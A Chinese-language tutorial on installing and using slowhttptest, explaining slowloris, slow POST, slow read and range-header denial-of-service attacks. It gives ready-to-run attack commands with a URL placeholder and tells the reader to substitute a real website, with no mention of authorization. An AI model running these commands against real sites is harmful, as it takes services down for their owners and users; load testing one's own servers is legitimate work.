
slowhttptest介紹
Slowhttptest是依賴HTTP協(xié)議的慢速攻擊DoS攻擊工具,設(shè)計的基本原理是服務(wù)器在請求完全接收后才會進(jìn)行處理,如果客戶端的發(fā)送速度緩慢或者發(fā)送不完整,服務(wù)端為其保留連接資源池占用,大量此類請求并發(fā)將導(dǎo)致DoS。
攻擊模式
slowloris:完整的http請求是以\r\n\r\n結(jié)尾,攻擊時僅發(fā)送\r\n,少發(fā)送一個\r\n,服務(wù)器認(rèn)為請求還未發(fā)完,就會一直等待直至超時。等待過程中占用連接數(shù)達(dá)到服務(wù)器連接數(shù)上限,服務(wù)器便無法處理其他請求。
slow http post:原理和slowloris有點類似,這次是通過聲明一個較大的content-length后,body緩慢發(fā)送,導(dǎo)致服務(wù)器一直等待。
slow read attack:向服務(wù)器發(fā)送一個正常合法的read請求,請求一個很大的文件,但認(rèn)為的把TCP滑動窗口設(shè)置得很小,服務(wù)器就會以滑動窗口的大小切割文件,然后發(fā)送。文件長期滯留在內(nèi)存中,消耗資源。
slowhttptest安裝及測試
一、基礎(chǔ)環(huán)境安裝
yum install openssl openssl-devel
yum install gcc gcc-c++
二、安裝m4、autoconf、perl和automake
yum install m4
yum install autoconf
yum install perl
yum install automake
注意:需要按照順序進(jìn)行安裝,因為automake依賴于m4,autoconf和perl,autoconf又依賴于m4。
三、安裝Slowhttptest
cd /usr/local
git clone https://github.com/shekyan/slowhttptest
cd slowhttptest/
./configure
autoreconf -ivf //請一定要執(zhí)行這句命令
make
make install
四、幾種攻擊模式實例
1、slowloris:完整的http請求是以 \r\n\r\n 結(jié)尾,攻擊時僅發(fā)送 \r\n,少發(fā)送一個 \r\n,服務(wù)器認(rèn)為請求還未發(fā)完,就會一直等待直至超時。
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u URL -x 24 -p 3
2、slow post:通過聲明一個較大的content-length后,body緩慢發(fā)送,導(dǎo)致服務(wù)器一直等待。
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u URL -x 10 -p 3
3、slow read:向服務(wù)器發(fā)送一個正常合法的read請求,請求一個很大的文件,但把TCP滑動窗口設(shè)置得很小,服務(wù)器就會以滑動窗口的大小切割文件,然后發(fā)送,這是文件會長期存放在內(nèi)存中,消耗資源。
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u URL -p 3
4、Range Header test:在 HTTP 請求的 RANGE HEADER 中包含大量字段,使得服務(wù)器在服務(wù)端將一個很小的文件分割成大量的更小的片段再壓縮。分段壓縮過程消耗大量的服務(wù)器資源,導(dǎo)致 DOS。
slowhttptest -R -u URL -t HEAD -c 1000 -a 10 -b 3000 -r 500
請修改上述命令的URL為真實的網(wǎng)站地址
安裝slowhttptest常見問題
- 報錯
checking forC++ compiler defaultoutput file name... configure: error: C++ compiler cannot create executables
yum install gcc gcc-c++
- 執(zhí)行./configure時提示“沒有權(quán)限”
chmod 755 *
- 提示“missing automake-1.16”或aclocal-1.15: command not found
依次執(zhí)行如下命令:
yum install m4
yum install autoconf
yum install perl
yum install automake
